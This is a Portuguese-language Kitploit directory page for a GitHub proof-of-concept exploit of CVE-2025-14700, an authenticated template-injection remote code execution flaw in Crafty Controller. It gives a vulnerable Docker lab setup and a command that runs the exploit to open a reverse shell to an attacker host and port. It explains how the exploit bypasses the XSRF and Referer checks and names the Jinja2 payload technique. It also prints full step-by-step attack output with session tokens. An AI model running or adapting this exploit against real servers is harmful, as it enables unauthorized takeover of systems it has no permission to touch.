Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC_CVE-2025-14700 — Prova de Conceito para RCE Autenticada no Crafty Controller | Kitploit
Ferramentas/GitHubGitHub/secdongle/poc_cve-2025-14700
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubsecdongle/poc_cve-2025-14700

POC_CVE-2025-14700

Prova de Conceito para RCE Autenticada no Crafty Controller

Ver Repositório
1há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-14700

PoC para CVE-2025-14700, uma vulnerabilidade de Server-Side Template Injection (SSTI) no Crafty Controller <= 4.6.1. Essa vulnerabilidade permite que usuários autenticados alcancem Remote Code Execution (RCE) ao injetar templates Jinja2 maliciosos na configuração do Webhook.

📦 Instalação

root@kitploit:~
# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ Ambiente de Testes (Docker Compose)

Para configurar uma instância vulnerável do Crafty Controller 4.6.1, use a seguinte configuração de docker-compose.yml:

1. Crie o docker-compose.yml

root@kitploit:~
version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

2. Inicie o Ambiente

root@kitploit:~
docker-compose up -d

3. Inicialize o Controller

  1. Acesse a interface web em https://localhost:8443.
  2. Conclua o assistente de configuração inicial para criar uma conta de administrador.
  3. Use essas credenciais para executar o script poc.py.

🚀 Uso

Exploração de Alvo Único

root@kitploit:~
# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699

Opções de Linha de Comando

OpçãoDescrição
-u, --urlURL do Crafty Controller alvo (ex.: https://10.67.3.77:8443)
-l, --loginNome de usuário para autenticação
-p, --passwordSenha para autenticação
-lh, --lhostIP do atacante para o callback do reverse shell
-lp, --lportPorta do atacante para o callback do reverse shell

🎯 Recursos do Exploit

  • Sincronização XSRF & Token: Gerencia automaticamente a sincronização complexa entre os cookies _xsrf do Tornado e o cabeçalho token personalizado.
  • Emulação de Sessão: Simulação 1:1 de requisições baseadas em navegador, incluindo os cabeçalhos Referer e Origin para contornar as verificações de segurança do backend.
  • Cadeia Automatizada: Cria um servidor dummy, injeta o payload de SSTI e aciona a ação de execução em uma única sequência.

📊 Análise Técnica

O exploit é bem-sucedido ao se alinhar à lógica estrita de validação do backend:

RequisitoEstratégia do Exploit
Token XSRFExtrai _xsrf dos cookies e o espelha nos cabeçalhos X-XSRFToken e token.
Verificação de RefererDefine Referer como o caminho do dashboard para imitar a interação legítima do usuário.
Mapeamento de CabeçalhosMapeia o valor de _xsrf para um cabeçalho token específico exigido pelo dispatcher de ações.
PayloadUtiliza self._TemplateReference__context para alcançar o módulo os.

📝 Exemplo de Saída

root@kitploit:~
python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)

================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
        "user_id": "1",
        "page": "/panel/dashboard"
    }
}
================================================================================

[*] STEP 3: Creating exploit dummy server...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
    }
}
================================================================================

[*] STEP 4: Injecting SSTI Reverse Shell payload...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "webhook_id": 13
    }
}
================================================================================

[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok"
}
================================================================================

[*] Sending EULA confirmation action request...

[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

reverse_shell

⚠️ Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis por qualquer uso indevido.

Baixar ferramenta